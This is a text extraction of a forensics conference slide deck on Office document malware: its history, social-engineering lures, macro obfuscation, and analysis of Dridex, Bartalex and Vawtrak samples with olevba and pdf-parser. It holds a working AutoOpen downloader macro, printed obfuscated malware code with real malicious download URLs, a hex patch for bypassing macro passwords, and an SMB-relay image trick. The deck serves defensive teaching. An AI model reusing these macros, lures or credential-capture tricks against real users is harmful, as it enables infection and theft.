Back to the Future with Document Malware
SANS DFIR Summit
Tyler Halfpop
THANK YOU!

SANS DFIR
DIGITAL FORENSICS & INCIDENT RESPONSE
PS C:\> Get-Content TylerHalfpop

- Threat Researcher for Fidelis CyberSecurity
- Working on doctorate in computer science
- Adjunct instructor for Dakota State University
- SANS Lethal Forensicator
- Certifications – CISSP, GREM
- Site: tylerhalfpop.com | Twitter: @tylerhalfpop
Eve -> Member of Hacking Group
Alice -> Eve’s Boss
Bob -> R&D @ Awesome Catnip Co.
Bailey -> Bob’s Boss
Billy – IR Fire Fighting Ninja
Agenda

- History of Document Malware and the Recent Resurgence
- Common Format Types Used
- Document Armor
- Tools
- Cases
- Conclusion
History -> Winword.Concept 1995

- Word BASIC macro that infected document template files with non-malicious spreading Macro

PayLoad
Sub MAIN
  REM That’s enough to prove my point
End Sub
History -> Party like it’s 1999 Melissa

- Malicious Macro spreads to contacts
- Large orgs had to such down email servers
- 400-500k emails < 3 hours (Whalley, 1999)

(Whipple, n.d.)
“Last year, cybercriminals rediscovered the use of Office macros to spread malware. Prevalent in the late 1990s, macro viruses disappeared quickly when newer versions of Microsoft Office had macros disabled by default. However, malware authors have recently started to use social engineering to trick users into enabling macros, thus allowing the malicious code to be executed.”

(Grooten, 2015)
History Graph

- Microsoft Office Disabled
- Recent resurgence relies on social engineering

(Szappanos, 2014)
Monthly Stats - Sophos

Monthly counts of VBA downloader malware samples, May-Sep 2015

(Ducklin, 2015)
Q1 2015 Macro Infections – TrendMicro

(Yaneza, 2015)
Office Macro Security Warning

This document has been set to be blur due to security reason and for your safety kindly click option/enable content above to view proper document.

Reported Transaction:

(Szappanos, 2014)
Office Macro Security Warning

Hello,

We have today deposited $179,370.11.

Below are the details of the payment:

Client info: [Sensitive Content hidden for security reason, click on Enable content above to view]
Account name: [Sensitive Content hidden for security reason, click on Enable content above to view]
Account number: [Sensitive Content hidden for security reason, click on Enable content above to view]
Bank name: [Sensitive Content hidden for security reason, click on Enable content above to view]
Bank address: [Sensitive Content hidden for security reason, click on Enable content above to view]

Please click on Enable content at the top left of this document to enable and view the hidden contents.

Once payment is confirmed, let me know.

Thanks

(Szappanos, 2014)
Office Macro Security Warning

(Szappanos, 2014)
Office Macro Security Warning

Please Click Enable Content to view Password for the Protected Document

(Szappanos, 2014)
Office Macro Security Warning

English grammar

For some reason please you have better enable macro so you be able

See full contents

Our discoveries--a new grammar rule, a new word, a new friend, a new home, or a new endeavor--are never-ending. We live more with every slip, with every lesson. Your thoughts?

(Szappanos, 2014)
To view this document, please turn on the Edit mode and Macroses!

Attention! This document was created by a newer version of Microsoft Office™. Macros must be enabled to display the contents of the document.

Microsoft Office 2013

To display the contents of the document click on Enable Content button.

(Talampas, 2015)
Attention! This document was created by a newer version of Microsoft Office™. Macros must be enabled to display the contents of the document.

**Microsoft Office 2013**
To display the contents of the document click on Enable Content button.

**Microsoft Office 2010**
To display the contents of the document click on Enable Content button.

**Microsoft Office 2007**
1. To display the contents of the document click on Options button.
2. Then select Enable this content and click on OK button.

**Microsoft Office 2003**
1. Go to Tools > Macro submenu and select Security
Office Formats

- OLE2 - Object Linking and Embedding (OLE) Compound File format
  - 1997-2003
  - FAT format
- XML - Office Open XML (OOXML)
  - .*x files
  - ZIP archive with XML files
- XML 2003 - Office XML
  - Single .xml file
- MHTML
  - Single File Web Page
- RTF
  - Rich Text Format
- PDF
  - Embedding doc files

Word Document (.docx)

Common Formats
- Word 97-2004 Document (.doc)
- Word Template (.dotx)
- Word 97-2004 Template (.dot)
- Rich Text Format (.rtf)
- Plain Text (.txt)
- Web Page (.htm)
- PDF

Specialty Formats
- Word Macro-Enabled Document (.docm)
- Word Macro-Enabled Template (.dotm)
- Word XML Document (.xml)
- Word 2003 XML Document (.xml)
- Single File Web Page (.mht)
- Word Document Stationery (.doc)
- Word 4.0-6.0/95 Compatible (.rtf)
Downloader Types - Sophos

VBA downloaders by document type

(Chantry, 2015)
Auto Macros

Excel:
Sub Auto_Open()
End Sub
Sub Workbook_Open()
End Sub

Word:
Sub AutoOpen()
    Auto_Open
End Sub
Downloader Common Actions

1. URLDownloadToFile()

2. XMLHTTP object open method
Deobfuscated Downloaders

(Chantry, 2015)
Simple Macro

Word Doc with Macro

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Send

With bStrm
    Type = 1
    Open
    write xHttp.responseBody
    savetofile "bad.exe", 2
End With

Shell ("bad.exe")

End Sub
Obfuscation

The CrunchCode functions:

- removal of **comments**, **space characters** and **block structures** (indentations)
- **camouflage names** (variables, routines, UserForms etc.) with **random names**
- **camouflage strings by coding**
- **camouflage numbers and VBA constants**
- **camouflage captions** (UserForms) in the VBA editor screen
- **outsourcing** command sequences to independent **subroutines**
- **source-code and password monitoring**
- **destruction of the code structure** while maintaining full functionality

(Ristow, 2015)
Option Explicit
Public Const HELPPROC = "Help"
Public Const HEXCHAR = "0123456789abcdef"

Sub InitKeys()
    'initialisiert Tastenzuordnungen
    With Application
        .OnKey "{F1}", HELPPROC
        .OnKey "{F2}", "Dummy"
    End With
End Sub

Public Function Dez2Hex(db1Val As Double) As String
    'Umwandlung einer ganzzahligen Dezimalzahl in eine Hexdezimalzahl
    'ersetzt HEX()-Funktion (Wertebereich 0 bis 255)
    'db1Val : Die umzuwandlende Dezimalzahl
    'bytMinAnz: Mindestanzahl Hexadezimalstellen
    Dim codeTxt As String
    Dim db1Input As Double
    Dim db1Rest As Double

    db1Input = db1Val
    codeTxt = ""
    While db1Input > 0
        'MOD funktioniert nicht bei VBA: 0
        db1Rest = db1Input - Int(db1Input / 16)
        codeTxt = Mid(HEXCHAR, 1 + Int(db1Rest), 1) & codeTxt
        db1Input = db1Input / 16
    Wend

    While Len(codeTxt) < bytMinAnz
        codeTxt = "0" & codeTxt
    Wend

    Dez2Hex = codeTxt
End Function
Deobfuscation

- Rename variables in a text editor using find/replace
- Decode string camouflaging operations
Password Protected Macros

• Re-save XML formatted Office file as the older OLE format

(docx, xlsx, pptx) -> (doc, xls, ppt)
Password Protected Macros

• Find DPB="." string in a hex editor and replace it the bytes below to change the macro password to “password”

44 50 42 3D 22 35 45 35 43 46 32 32 37 30 45 37
39 32 30 39 36 32 30 39 36 44 46 36 41 32 31 39
36 42 37 46 38 44 31 36 33 45 42 45 32 42 41 31
34 44 32 36 31 36 30 46 33 35 36 41 32 43 33 34
39 31 39 44 36 41 30 36 46 35 42 35 46 39 34 30
38 45 36 22
Password Protected Macros

This file is protected by macro password. Please enable content to view.

1. Open the Document.
2. If you do not see the toolbar above.
3. Once you find the toolbar above.

Macros in: All active templates and documents

Description:
Password Protected Macros

This file is protected by Microsoft Office. Please enable Editing and Content to see this document.

CAN’T VIEW THE DOCUMENT? FOLLOW THE STEPS BELOW.

1. Open the document in Microsoft Office. Previewing online does not work for protected documents.
2. If you downloaded this document from your email, please click “Enable Editing” from the yellow bar above.
3. Once you have enabled editing, please click “Enable Content” on the yellow bar above.

© Fidelis Cybersecurity. All rights reserved.
Sub Auto_Open()
    Seacop
End Sub

Sub Seacop()
    NJFKQUDS = "qhwjdh qwhgdjhwq jdkhqwqhdqghqjw"
    Vreation
End Sub

Sub AutoOpen()
    Seacop
End Sub

Sub Vreation()

    Dim Ndjs As Integer, BHQJGHDS As String, MNHDSAAA As String
    Dim GRTR As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String
    Dim ABTH As String, DONT As String, BETH As String
    Dim klmn As Integer, TTKK As String
    Dim PBIn As String, ADANADA As String, eDate As Date
    Dim GEFORECE1 As String, GEFORECE2 As String, hdjshd As Integer

    ' eDate = ""

    MNHDSAAA = spb(90 + 0 + 2)
    ADANADA = Samsung(9898)
    BHQJGHDS = "Temp"
    PH2 = Module1.Kalyma(BHQJGHDS) + MNHDSAAA
    DONT = "123"
    CONT = DONT

    ART = 315
    BFT = 316

    Randomize
    eDate = #2/12/2010#
    Ndjs = Int(Year(eDate)) - 1938
    HQUDAA = spb(Ndjs + 12)
    ATTH = hhr(Ndjs) + HQUDAA + HQUDAA + spb(8 + Ndjs)
Password Protected Macros

```vba
klen = CInt(Len(CONT2))
For i = 1 To klen
    If (Mid(CONT2, i, 1) = TTKK) Then
        If (Mid(CONT2, i - 1, 1) = TTKK) Then
            GEFORECE1 = Mid(CONT2, i, i - 2)
            GEFORECE2 = Mid(CONT2, i + 1, klen - i)
        End If
    End If
Next i
HQUJD = ".v"
ABTH = PH2 + ADANADA & HQUJD + "bs"
BBTH = PH2 + ADANADA + ".bat"
```

---

### Locals

- **Expression** | **Value** | **Type**
-袅 | 72 | Integer
- BHOUOHDS | "Temp" | String
- MNHDSAAA | "i" | String
- ORTR | "txt" | String
- CDDD | "txt" | String
- LNSS | "txt" | String
- STT1 | "STT1" | String
- STT2 | "STT2" | String
- ABTH | "123" | String
- DONT | "...
- BBTH | "...
- kmn | 1091 | Integer
- TTKK | "n" | String
- FElh | "HTTP://...
- ADANADA | "114515" | String
- eDate | #2/2/2010# | Date
- GEFORECE1 | "..." | String
- GEFORECE2 | "..." | String
- hodshd | 12 | Integer

© Fidelis Cybersecurity. All rights reserved.
VBA Downloaders Used By

• Dridex
• Vawtrak
• Dyreza
• Cryptowall
Word Doc with a Network Share Link

Insert -> Object -> Text from File -> HTML file containing

<html><body><img src="\192.168.66.200\share\oops.jpg" width=1 height=1></body><html>

capture/server/smb or exploit/windows/exploit/smb/smb_relay modules
Bartalex

(Talampas, 2015)
### 4 Process, service, or memory object change (14)

<table>
<thead>
<tr>
<th>Characteristic</th>
<th>Details</th>
<th>Exhibited by</th>
</tr>
</thead>
<tbody>
<tr>
<td>Creates command line process</td>
<td>Process ID: 3500 Image Path: %windir%\system32\cmd.exe cmd /c %TEMP%\adobeac-update.bat</td>
<td></td>
</tr>
<tr>
<td>Creates command line process</td>
<td>Process ID: 3716 Image Path: %windir%\system32\cmd.exe /c %TEMP%\v444.exe</td>
<td></td>
</tr>
<tr>
<td>Creates process</td>
<td>Process ID: 3500 Image Path: %windir%\system32\cmd.exe cmd /c %TEMP%\adobeac-update.bat</td>
<td></td>
</tr>
<tr>
<td>Creates process</td>
<td>Process ID: 3524 Image Path: %windir%\system32\PING.EXE ping 1.1.2.2 -n 2</td>
<td></td>
</tr>
<tr>
<td>Creates process</td>
<td>Process ID: 3560 Image Path: %windir%\system32\chcp.com chcp 1251</td>
<td></td>
</tr>
<tr>
<td>Creates process</td>
<td>Process ID: 3568 Image Path: %windir%\system32\cscript.exe cscript.exe &quot;%TEMP%\adobeac-update&quot;\v&quot;\bs&quot;</td>
<td></td>
</tr>
<tr>
<td>Creates process</td>
<td>Process ID: 3600 Image Path: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -file %TEMP%\adobeac-update.ps1</td>
<td></td>
</tr>
<tr>
<td>Creates process</td>
<td>Process ID: 3716 Image Path: %windir%\system32\cmd.exe /c %TEMP%\v444.exe</td>
<td></td>
</tr>
<tr>
<td>Creates process in system directory</td>
<td>Process ID: 3500 Image Path: %windir%\system32\cmd.exe cmd /c %TEMP%\adobeac-update.bat</td>
<td></td>
</tr>
<tr>
<td>Creates process in system directory</td>
<td>Process ID: 3524 Image Path: %windir%\system32\PING.EXE ping 1.1.2.2 -n 2</td>
<td></td>
</tr>
<tr>
<td>Creates process in system directory</td>
<td>Process ID: 3560 Image Path: %windir%\system32\chcp.com chcp 1251</td>
<td></td>
</tr>
<tr>
<td>Creates process in system directory</td>
<td>Process ID: 3568 Image Path: %windir%\system32\cscript.exe cscript.exe &quot;%TEMP%\adobeac-update&quot;\v&quot;\bs&quot;</td>
<td></td>
</tr>
<tr>
<td>Creates process in system directory</td>
<td>Process ID: 3600 Image Path: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -file %TEMP%\adobeac-update.ps1</td>
<td></td>
</tr>
<tr>
<td>Creates process in system directory</td>
<td>Process ID: 3716 Image Path: %windir%\system32\cmd.exe /c %TEMP%\v444.exe</td>
<td></td>
</tr>
</tbody>
</table>

### 4 Suspicious network or messaging activity (1)

<table>
<thead>
<tr>
<th>Characteristic</th>
<th>Details</th>
<th>Exhibited by</th>
</tr>
</thead>
</table>
| Connects to remote URL or IP address                | Connection: 
Content: GET /us/file.pdf HTTP/1.1


(Talampas, 2015)
Dridex

• Tools
  • Pdfid & pdf-parser (Stevens, 2015)
  • Olevba (Decalge, 2015)

(Country) %
- Australia 19.91%
- UK 15.24%
- US 14.08%
- Italy 6.21%
- Japan 4.83%
- India 4.55%
- Taiwan 4.20%
- Spain 3.48%
- France 2.89%
- China 2.79%
- Others 21.82%

Destination Countries

(Levene & Downs, 2015)
PDF Document -> Word Doc -> Macro

0c044fd59cc6ccc28a48937bc69cc0c4

(Stevens, 2015)
PDF-Parser

pdf-parser hmm.pdf

obj 3 0
Type:
Referencing:
<<
   /S /JavaScript
   /JS '(var z =
this.dataObjects;\r\nthis.exportDataObject({cName:z[0].name, nLaunch:2});)' 
>>

obj 2 0
Type: /Filespec
Referencing: 1 0 R, 1 0 R
<<
   /Type /Filespec
   /F (2.docm)
   /UF (2.docm)
   /EF
   <<
   /F 1 0 R
   /UF 1 0 R
>>
>>

obj 1 0
Type: /EmbeddedFile
Referencing:
Contains stream
<<
   /Length 42719
   /Type /EmbeddedFile
   /Filter /FlateDecode
   /Params
   <<
   /ModDate "(D:20150811105028+03'00')"
   /Size 45430
>>
>>
PDF-Parser

pdf-parser -o 1 -f -d 2.docm hmm.pdf
obj 1 0
Type: /EmbeddedFile
Referencing:
Contains stream

<<
/Length 42719
/Type /EmbeddedFile
/Filter /FlateDecode
/Params
  <<
    /ModDate "(D:20150811105028+03'00')"
    /Size 45430
  >>
>>
>>
OLEvba

olevba.py 2.docm
olevba 0.40 - http://decalage.info/python/oletools

Flags Filename
---------- -----------------------------------------------
OpX:MASIH--V 2.docm

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

==============================================================
FILENAME: 2.docm
Type: OpenXML

==============================================================

VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
Sub autoopen()
VEeve (8.2)
End Sub
Sub VEeve(FFFFF As Long)
FBFILE_FORMAT_1
End Sub
Public Function FBFILE_FORMAT_1()
Set pathIsAbsolute_1 = hCurDir_2(Chr(87) & Chr(60) & Chr(83) & Chr(99) & Chr(61) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & ";" & Chr(46) & Chr(83) & Chr(61) & Chr(104) & Chr(101) & "<" & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
pathIsAbsolute_2 = pathIsAbsolute_1("T" & Chr(69) & Chr(77) & Chr(80))
Dim pathIsAbsolute_4 As Object
Set pathIsAbsolute_4 = hCurDir_2(Chr(65) & "<" & "d" & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(61) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & Chr(101) & "a" & Chr(59) & Chr(109))
Dim pathIsAbsolute_3 As String
pathIsAbsolute_3 = pathIsAbsolute_2 + "\ce" & Chr(101) + "ce." & "e" & Chr(120) & Chr(101)
With pathIsAbsolute_4
  .Type = 1
  .Open
  .write usZ5pw3gU8(223)
End With
...

© Fidelis Cybersecurity. All rights reserved.
<table>
<thead>
<tr>
<th>Type</th>
<th>Keyword</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AutoExec</td>
<td>AutoOpen</td>
<td>Runs when the Word document is opened</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Open</td>
<td>May open a file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>CreateObject</td>
<td>May create an OLE object</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Chr</td>
<td>May attempt to obfuscate specific strings</td>
</tr>
<tr>
<td>Suspicious</td>
<td>SaveToFile</td>
<td>May create a text file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Write</td>
<td>May write to a file (if combined with Open)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Hex Strings</td>
<td>Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>VBA obfuscated Strings</td>
<td>VBA string expressions were detected, may be used to obfuscate strings (option --decode to see all)</td>
</tr>
<tr>
<td>IOC</td>
<td><a href="http://mpaya.art.br/334f3d/096uh5b.exe">http://mpaya.art.br/334f3d/096uh5b.exe</a></td>
<td>URL (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>IOC</td>
<td>ceece.exe</td>
<td>Executable file name (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>-----------</td>
<td>-----------</td>
<td>---------------------------------------------------</td>
</tr>
<tr>
<td>IOC</td>
<td>096uh5b.exe</td>
<td>Executable file name (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>VBA string</td>
<td>W&lt;Sc=ript;.S=he&lt;ll</td>
<td>(Chr(87) &amp; Chr(60) &amp; Chr(83) &amp; Chr(99) &amp; Chr(61) &amp; Chr(114) &amp; Chr(105) &amp; Chr(112) &amp; Chr(116) &amp; &quot;;&quot; &amp; Chr(46) &amp; Chr(83) &amp; Chr(61) &amp; Chr(104) &amp; Chr(101) &amp; &quot;;&quot; &amp; Chr(108) &amp; Chr(108))</td>
</tr>
<tr>
<td>VBA string</td>
<td>Process</td>
<td>(Chr(80) &amp; Chr(114) &amp; &quot;o&quot; &amp; Chr(99) &amp; Chr(101) &amp; &quot;s&quot; &amp; &quot;s&quot;)</td>
</tr>
<tr>
<td>VBA string</td>
<td>TEMP</td>
<td>(&quot;T&quot; &amp; Chr(69) &amp; Chr(77) &amp; Chr(80))</td>
</tr>
<tr>
<td>VBA string</td>
<td>A&lt;do;db=.St=r&lt;ea;m</td>
<td>(Chr(65) &amp; &quot;;&quot; &amp; &quot;d&quot; &amp; Chr(111) &amp; Chr(59) &amp; Chr(100) &amp; Chr(98) &amp; Chr(61) &amp; Chr(46) &amp; Chr(83) &amp; Chr(116) &amp; Chr(61) &amp; Chr(114) &amp; Chr(60) &amp; Chr(101) &amp; &quot;a&quot; &amp; Chr(59) &amp; Chr(109))</td>
</tr>
<tr>
<td>VBA string</td>
<td>\ceece.exe</td>
<td>&quot;\ce&quot; &amp; Chr(101) + &quot;ce.&quot; &amp; &quot;e&quot; &amp; Chr(120) &amp; Chr(101)</td>
</tr>
<tr>
<td>VBA string</td>
<td>S=&lt;hel;\l&lt;.Ap;\l&lt;.cat=ion</td>
<td>(Chr(83) &amp; Chr(61) &amp; &quot;&lt;&quot; &amp; &quot;h&quot; &amp; &quot;e&quot; &amp; Chr(108) &amp; Chr(59) &amp; Chr(108) &amp; &quot;&lt;&quot; &amp; Chr(46) &amp; Chr(65) &amp; &quot;p;&quot; &amp; Chr(112) &amp; Chr(108) &amp; Chr(105) &amp; &quot;&lt;&quot; &amp; Chr(99) &amp; Chr(97) &amp; Chr(116) &amp; Chr(61) &amp; Chr(105) &amp; Chr(97) &amp; Chr(111) &amp; Chr(110))</td>
</tr>
<tr>
<td>VBA string</td>
<td>Mi&lt;cro=soft;.XM&lt;LT=TP</td>
<td>(Chr(77) &amp; Chr(105) &amp; Chr(60) &amp; &quot;c&quot; &amp; Chr(114) &amp; Chr(111) &amp; Chr(61) &amp; Chr(115) &amp; Chr(111) &amp; Chr(102) &amp; &quot;t&quot; &amp; Chr(59) &amp; Chr(46) &amp; Chr(88) &amp; &quot;M&quot; &amp; Chr(60) &amp; Chr(76) &amp; &quot;;&quot; &amp; &quot;H&quot; &amp; Chr(84) &amp; &quot;;&quot; &amp; &quot;H&quot; &amp; Chr(84) &amp; &quot;=&quot; &amp; Chr(84) &amp; &quot;P&quot;)</td>
</tr>
<tr>
<td>VBA string</td>
<td>GET</td>
<td>Chr(71) &amp; Chr(69) &amp; Chr(84)</td>
</tr>
</tbody>
</table>
OLEvba

| VBA string | http://mpaya.art.br/334f3d/096uh5b.exe | Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/'" & Chr(109) & Chr(112) & Chr(97) & Chr(121) & Chr(97) & Chr(46) & Chr(97) & Chr(114) & Chr(116) & Chr(46) & Chr(98) & Chr(114) & Chr(116) & Chr(46) & "/" & "f" & Chr(51) & Chr(52) & "f" & Chr(51) & Chr(100) & Chr(47) & Chr(48) & Chr(57) & Chr(54) & Chr(117) & Chr(48) & Chr(57) & Chr(54) & Chr(117) & Chr(104) & Chr(53) & Chr(98) & Chr(60) & Quote & Chr(61) & Chr(59) & Quote & "e" & Chr(120) & "e" & "e" & Chr(60) & Quote & Chr(61) & Chr(59) |
Recent Dridex

olevba.py dridex.doc
olevba 0.40 - http://decalage.info/python/oletools

Flags        Filename
-----------    ---------------------------------------------
OLE:MASI-B-V  dridex.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious
keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: dridex.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: dridex.doc - OLE stream: u'Macros/VBA/ThisDocument'
===============================================================================
Sub autoopen()
SSVEvdqwfF3 (7.4)
End Sub

Sub SSVEvdqwfF3(FFFFF As Double)
vtkNormalizeFileToFile
End Sub
<table>
<thead>
<tr>
<th>Type</th>
<th>Keyword</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AutoExec</td>
<td>AutoOpen</td>
<td>Runs when the Word document is opened</td>
</tr>
<tr>
<td>AutoExec</td>
<td>AutoClose</td>
<td>Runs when the Word document is closed</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Kill</td>
<td>May delete a file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Open</td>
<td>May open a file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Shell</td>
<td>May run an executable file or a system command</td>
</tr>
<tr>
<td>Suspicious</td>
<td>WScript.Shell</td>
<td>May run an executable file or a system command</td>
</tr>
<tr>
<td>Suspicious</td>
<td>MkDir</td>
<td>May create a directory</td>
</tr>
<tr>
<td>Suspicious</td>
<td>CreateObject</td>
<td>May create an OLE object</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Chr</td>
<td>May attempt to obfuscate specific strings</td>
</tr>
<tr>
<td>Suspicious</td>
<td>FileCopy</td>
<td>May copy a file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>CreateTextFile</td>
<td>May create a text file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>SaveToFile</td>
<td>May create a text file</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Environ</td>
<td>May read system environment variables</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Write</td>
<td>May write to a file (if combined with Open)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Output</td>
<td>May write to a file (if combined with Open)</td>
</tr>
<tr>
<td>Type</td>
<td>Keyword</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>--------------------------------------</td>
<td>---------------------------------------------------------------</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Print #</td>
<td>May write to a file (if combined with Open)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Shell.Application</td>
<td>May run an application (if combined with CreateObject) (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>ADODB.Stream</td>
<td>May create a text file (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Microsoft.XMLHTTP</td>
<td>May download files from the Internet (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>Base64 Strings</td>
<td>Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)</td>
</tr>
<tr>
<td>Suspicious</td>
<td>VBA obfuscated Strings</td>
<td>VBA string expressions were detected, may be used to obfuscate strings (option --decode to see all)</td>
</tr>
<tr>
<td>IOC</td>
<td><a href="http://www.schmidks.de">http://www.schmidks.de</a></td>
<td>URL</td>
</tr>
<tr>
<td>IOC</td>
<td><a href="http://www.StealthBot.net/sb/Launcher/">http://www.StealthBot.net/sb/Launcher/</a></td>
<td></td>
</tr>
<tr>
<td>IOC</td>
<td>zzA.exe</td>
<td>Executable file name (obfuscation: VBA expression)</td>
</tr>
<tr>
<td>Type</td>
<td>Keyword</td>
<td>Description</td>
</tr>
<tr>
<td>-------------</td>
<td>----------------------------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>VBA string</td>
<td>;&lt;=Shell.Application</td>
<td>(&quot;;&lt;=&quot; + Chr(83) &amp; &quot;h&quot; &amp; &quot;e&quot; &amp; Chr(108) &amp; Chr(108) &amp; Chr(46) &amp; Chr(65) &amp; &quot;p&quot; &amp; Chr(112) &amp; Chr(108) &amp; Chr(105) &amp; Chr(99) &amp; Chr(97) &amp; Chr(116) &amp; Chr(105) &amp; Chr(111) &amp; Chr(110))</td>
</tr>
<tr>
<td>VBA string</td>
<td>Microsoft.XMLHTTP</td>
<td>(Chr(77) &amp; Chr(105) &amp; &quot;c&quot; &amp; Chr(114) &amp; Chr(111) &amp; Chr(115) &amp; Chr(111) &amp; Chr(102) &amp; &quot;t&quot; &amp; Chr(46) &amp; Chr(88) &amp; &quot;M&quot; &amp;Chr(76) &amp; &quot;H&quot; &amp; Chr(84) &amp; Chr(84) &amp; &quot;P&quot;)</td>
</tr>
<tr>
<td>Type</td>
<td>Keyword</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>-----------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>VBA string</td>
<td>\tmp_</td>
<td>&quot;&quot; &amp; &quot;tmp_&quot;</td>
</tr>
<tr>
<td>VBA string</td>
<td><a href="http://www.n">http://www.n</a></td>
<td>Chr(104) &amp; Chr(116) &amp; &quot;t&quot; &amp; Chr(112) &amp; Chr(58) &amp; &quot;/&quot; &amp; &quot;/&quot; &amp; Chr(119) &amp;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Chr(119) &amp; Chr(119) &amp; Chr(46) &amp; &quot;n&quot;</td>
</tr>
<tr>
<td>VBA string</td>
<td>GET</td>
<td>Chr(71) &amp; &quot;E&quot; &amp; Chr(84)</td>
</tr>
<tr>
<td>VBA string</td>
<td>orlabs.de/123/1111.e</td>
<td>Chr(111) &amp; Chr(114) &amp; Chr(108) &amp; Chr(97) &amp; &quot;b&quot; &amp; Chr(115) &amp; Chr(46) &amp;</td>
</tr>
<tr>
<td>xe</td>
<td>Chr(100) &amp; Chr(101) &amp; Chr(47) &amp; Chr(49) &amp; Chr(50) &amp; Chr(51) &amp; Chr(47) &amp;</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Chr(49) &amp; Chr(49) &amp; Chr(49) &amp; Chr(46) &amp; &quot;e&quot; &amp; Chr(120) &amp; &quot;e&quot;</td>
</tr>
</tbody>
</table>
Else
    sValue = Split(sTemp & " ", " ")
    sTemp = Mid$(sTemp, Len(sValue) + 2)
End If

StripString = sValue

Exit Function

ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "StripString"

End Function

Public Function ProfileChr(KJB As Object)
Dim segR As String

segR = Chr(104) & Chr(116) & "t" & Chr(112) & Chr(98) & "/" & "/" & Chr(119) & Chr(119) & Chr(119) & Chr(46) & "/n"

KJB.Open Chr(71) & "E" & Chr(84), segR & Chr(111) & Chr(114) & Chr(108) & Chr(97) & "b" & Chr(115) & Chr(46) & Chr(100) & Chr(101) & Chr(47) & Chr(41) & "/n"

End Function

Public Function SetCommandLine(sCommandLine As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim sTemp As String
    Dim sSetting As String
    Dim sValue As String
    CommandLine = vbNullString
    sTemp = sCommandLine

locals

Project.Module3.ProfileChr

<table>
<thead>
<tr>
<th>Expression</th>
<th>Value</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>parsed</td>
<td>True</td>
<td>Boolean</td>
</tr>
<tr>
<td>parseError</td>
<td>XMLDOMParseError/XMLDOMParseError</td>
<td>String</td>
</tr>
<tr>
<td>prefix</td>
<td>Nothing</td>
<td>Boolean</td>
</tr>
<tr>
<td>preserveWhiteSpace</td>
<td>4</td>
<td>XMLElement</td>
</tr>
<tr>
<td>previousSibling</td>
<td>False</td>
<td>Boolean</td>
</tr>
<tr>
<td>readyState</td>
<td>False</td>
<td>Boolean</td>
</tr>
<tr>
<td>resolveExternals</td>
<td>True</td>
<td>Boolean</td>
</tr>
<tr>
<td>schemas</td>
<td>Null</td>
<td>Boolean</td>
</tr>
<tr>
<td>specified</td>
<td>True</td>
<td>Boolean</td>
</tr>
<tr>
<td>text</td>
<td></td>
<td>Boolean</td>
</tr>
<tr>
<td>url</td>
<td></td>
<td>Boolean</td>
</tr>
<tr>
<td>validateOnParse</td>
<td>False</td>
<td>Boolean</td>
</tr>
<tr>
<td>xml</td>
<td></td>
<td>Boolean</td>
</tr>
<tr>
<td>status</td>
<td></td>
<td>Boolean</td>
</tr>
<tr>
<td>statusText</td>
<td></td>
<td>Boolean</td>
</tr>
<tr>
<td>ProfileChr</td>
<td>Empty</td>
<td>Variant/Empty</td>
</tr>
<tr>
<td>segR</td>
<td>&quot;<a href="http://www.n">http://www.n</a>&quot;</td>
<td>String</td>
</tr>
</tbody>
</table>
Vawtrak

(Trend Micro, 2015)
Vawtrak

(Trend Micro, 2015)
Vawtrak

Macro → Runs → Batch

Powershell

